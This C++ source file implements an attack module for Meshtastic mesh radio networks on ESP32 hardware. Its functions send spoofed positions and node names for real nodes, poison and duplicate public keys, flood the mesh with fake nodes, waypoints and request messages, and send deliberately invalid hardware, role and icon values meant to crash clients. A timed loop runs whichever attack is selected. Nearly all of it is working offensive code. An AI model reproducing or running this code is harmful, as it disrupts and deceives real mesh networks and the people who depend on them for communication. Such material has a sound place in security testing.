#include "TMAttack.hpp" #include "esp_log.h" #include extern void sendDebugMessage(const std::string& message); uint32_t TMAttack::getRandomTarget() { auto ret = meshtasticCompact->nodeinfo_db.getRandomNode(); if (ret) { return ret->node_id; } return 0; } void TMAttack::atkRndPos() { // Generate random latitude and longitude within specified bounds double latitude = min_lat + static_cast(rand()) / (static_cast(RAND_MAX / (max_lat - min_lat))); double longitude = min_lon + static_cast(rand()) / (static_cast(RAND_MAX / (max_lon - min_lon))); // Create and send the fake position message MC_Position pos_msg = {}; pos_msg.latitude_i = static_cast(latitude * 1e7); pos_msg.longitude_i = static_cast(longitude * 1e7); pos_msg.altitude = esp_random() % 1000; // Random altitude pos_msg.ground_speed = 0; pos_msg.sats_in_view = 0; pos_msg.location_source = 1; pos_msg.has_latitude_i = true; pos_msg.has_longitude_i = true; pos_msg.has_altitude = true; pos_msg.has_ground_speed = true; uint32_t srcnode = target; if (target == 0xffffffff) { // if target is everybody, randomize srcnode srcnode = getRandomTarget(); if (srcnode == 0) { sendDebugMessage("No valid target found for position poison attack."); return; // no valid target found } } sendDebugMessage("Sending fake position for node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude)); meshtasticCompact->SendPositionMessage(pos_msg, 0xffffffff, 8, srcnode); meshtasticCompact->SendPositionMessage(pos_msg, 0xffffffff, 8, srcnode); } void TMAttack::atkNameChange() { uint32_t srcnode = target; if (target == 0xffffffff) { // if target is everybody, randomize srcnode srcnode = getRandomTarget(); if (srcnode == 0) { sendDebugMessage("No valid target found for name change attack."); return; // no valid target found } } auto node = meshtasticCompact->nodeinfo_db.get(srcnode); if (!node) { sendDebugMessage("No valid target found for name change attack."); return; // no valid target found } std::string new_name = node->long_name; if (new_name.size() >= emoji.size() && new_name.compare(new_name.size() - emoji.size(), emoji.size(), emoji) == 0) { ; // it already got that part, so no further rename, but send a new nodeinfo packet about it. } else { if (emoji.length() <= 0) { emoji = "😈"; } if (emoji.length() > 30) { emoji = emoji.substr(0, 30); // limit to 30 bytes } if (new_name.length() + emoji.length() > 38) { new_name = new_name.substr(0, 38 - emoji.length()); } new_name += emoji; strncpy(node->long_name, new_name.c_str(), 39); } node->long_name[39] = '\0'; meshtasticCompact->SendNodeInfo(*node, 0xffffffff, false); meshtasticCompact->SendNodeInfo(*node, 0xffffffff, false); sendDebugMessage("Changed longname of node 0x" + std::to_string(srcnode) + " to \"" + node->long_name + "\""); } void TMAttack::atkDdos() { uint32_t srcnode = esp_random(); meshtasticCompact->SendRequestPositionInfo(0xffffffff, 8, srcnode); sendDebugMessage("Sent DDOS msg 1 request from 0x" + std::to_string(srcnode)); srcnode = getRandomTarget(); if (srcnode == 0) { sendDebugMessage("No valid target found for DDOS 2 attack."); return; // no valid target found } MC_NodeInfo* node = meshtasticCompact->nodeinfo_db.get(srcnode); if (!node) { sendDebugMessage("No valid target found for DDOS 2 attack."); return; // no valid target found } meshtasticCompact->SendNodeInfo(*node, 0xffffffff, true); sendDebugMessage("Sent DDOS msg 2 from 0x" + std::to_string(srcnode)); } void TMAttack::atkPkiPoison() { uint32_t srcnode = target; if (target == 0xffffffff) { // if target is everybody, randomize srcnode srcnode = getRandomTarget(); if (srcnode == 0) { sendDebugMessage("No valid target found for PKI poison attack."); return; // no valid target found } } auto node = meshtasticCompact->nodeinfo_db.get(srcnode); if (!node) { sendDebugMessage("No valid target found for PKI poison attack."); return; // no valid target found } for (int i = 0; i < 32; i++) { node->public_key[i] = esp_random() & 0xff; } meshtasticCompact->SendNodeInfo(*node, 0xffffffff, false); meshtasticCompact->SendNodeInfo(*node, 0xffffffff, false); sendDebugMessage("Sent PKI poison for node 0x" + std::to_string(srcnode)); } void TMAttack::atkPkiDupe() { uint32_t srcnode = target; if (target == 0xffffffff) { // if target is everybody, randomize srcnode srcnode = getRandomTarget(); if (srcnode == 0) { sendDebugMessage("No valid target found for PKI duplication attack."); return; // no valid target found } } auto node = meshtasticCompact->nodeinfo_db.get(srcnode); if (!node) { sendDebugMessage("No valid target found for PKI duplication attack."); return; // no valid target found } uint32_t dupenodeid = esp_random(); MC_NodeInfo nodeinfo = {}; // new node std::string none = ""; std::string none2 = ""; uint8_t hw_model = esp_random() % 105; MeshtasticCompactHelpers::NodeInfoBuilder(&nodeinfo, dupenodeid, none, none2, hw_model); for (int i = 0; i < 32; i++) { nodeinfo.public_key[i] = node->public_key[i]; // dupe target key } nodeinfo.public_key_size = 32; meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false); meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false); sendDebugMessage("Sent PKI dupe as node 0x" + std::to_string(srcnode)); } void TMAttack::atkRndNode() { // Generate random latitude and longitude within specified bounds double latitude = min_lat + static_cast(rand()) / (static_cast(RAND_MAX / (max_lat - min_lat))); double longitude = min_lon + static_cast(rand()) / (static_cast(RAND_MAX / (max_lon - min_lon))); // Create and send the fake position message MC_Position pos_msg = {}; pos_msg.latitude_i = static_cast(latitude * 1e7); pos_msg.longitude_i = static_cast(longitude * 1e7); pos_msg.altitude = esp_random() % 1000; // Random altitude pos_msg.ground_speed = 0; pos_msg.sats_in_view = 0; pos_msg.location_source = 1; pos_msg.has_latitude_i = true; pos_msg.has_longitude_i = true; pos_msg.has_altitude = true; pos_msg.has_ground_speed = true; uint32_t srcnode = target; if (target == 0xffffffff) { srcnode = esp_random(); } MC_NodeInfo nodeinfo = {}; std::string none = ""; std::string none2 = ""; uint8_t hw_model = esp_random() % 105; if (flood_clientcrash == 1) { hw_model = 240; // invalid hw model to crash the client } MeshtasticCompactHelpers::NodeInfoBuilder(&nodeinfo, srcnode, none, none2, hw_model); if (flood_clientcrash == 1) { nodeinfo.role = 20; // invalid role to crash the client } meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false); meshtasticCompact->SendPositionMessage(pos_msg, 0xffffffff, 8, srcnode); meshtasticCompact->SendNodeInfo(nodeinfo, 0xffffffff, false); meshtasticCompact->SendPositionMessage(pos_msg, 0xffffffff, 8, srcnode); sendDebugMessage("Sent fake node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude)); } void TMAttack::atkWaypointFlood() { uint32_t srcnode = target; if (srcnode == 0xffffffff) { srcnode = getRandomTarget(); } if (srcnode == 0) { srcnode = esp_random(); } MC_Waypoint waypoint = {}; uint32_t icon = 0; if (flood_clientcrash == 1) { icon = esp_random() + 30; // invalid icon to crash the client } uint32_t expire = 1769994122; // 2026-02-02, todo add as a parameter float latitude = min_lat + static_cast(rand()) / (static_cast(RAND_MAX / (max_lat - min_lat))); float longitude = min_lon + static_cast(rand()) / (static_cast(RAND_MAX / (max_lon - min_lon))); uint32_t wpnum = esp_random(); MeshtasticCompactHelpers::WaypointBuilder(waypoint, esp_random(), latitude, longitude, "WP-" + std::to_string(wpnum), "WP-" + std::to_string(wpnum), expire, icon); meshtasticCompact->SendWaypointMessage(waypoint, 0xffffffff, 8, srcnode); sendDebugMessage("Sent waypoint from node 0x" + std::to_string(srcnode) + ": lat=" + std::to_string(latitude) + ", lon=" + std::to_string(longitude)); } void TMAttack::loop() { if (meshtasticCompact == nullptr) { return; // Radio not set } if (current_attack == AttackType::NONE) { return; // No attack to perform } timer++; if (timer < attackDelay) { // every 10 seconds return; } timer = 0; if (current_attack == AttackType::POS_POISON) { atkRndPos(); } else if (current_attack == AttackType::NODE_FLOOD) { atkRndNode(); } else if (current_attack == AttackType::NAME_CHANGE) { atkNameChange(); } else if (current_attack == AttackType::PKI_POISON) { atkPkiPoison(); } else if (current_attack == AttackType::DDOS) { atkDdos(); } else if (current_attack == AttackType::PKI_DUPE) { atkPkiDupe(); } else if (current_attack == AttackType::WAYPOINT_FLOOD) { atkWaypointFlood(); } }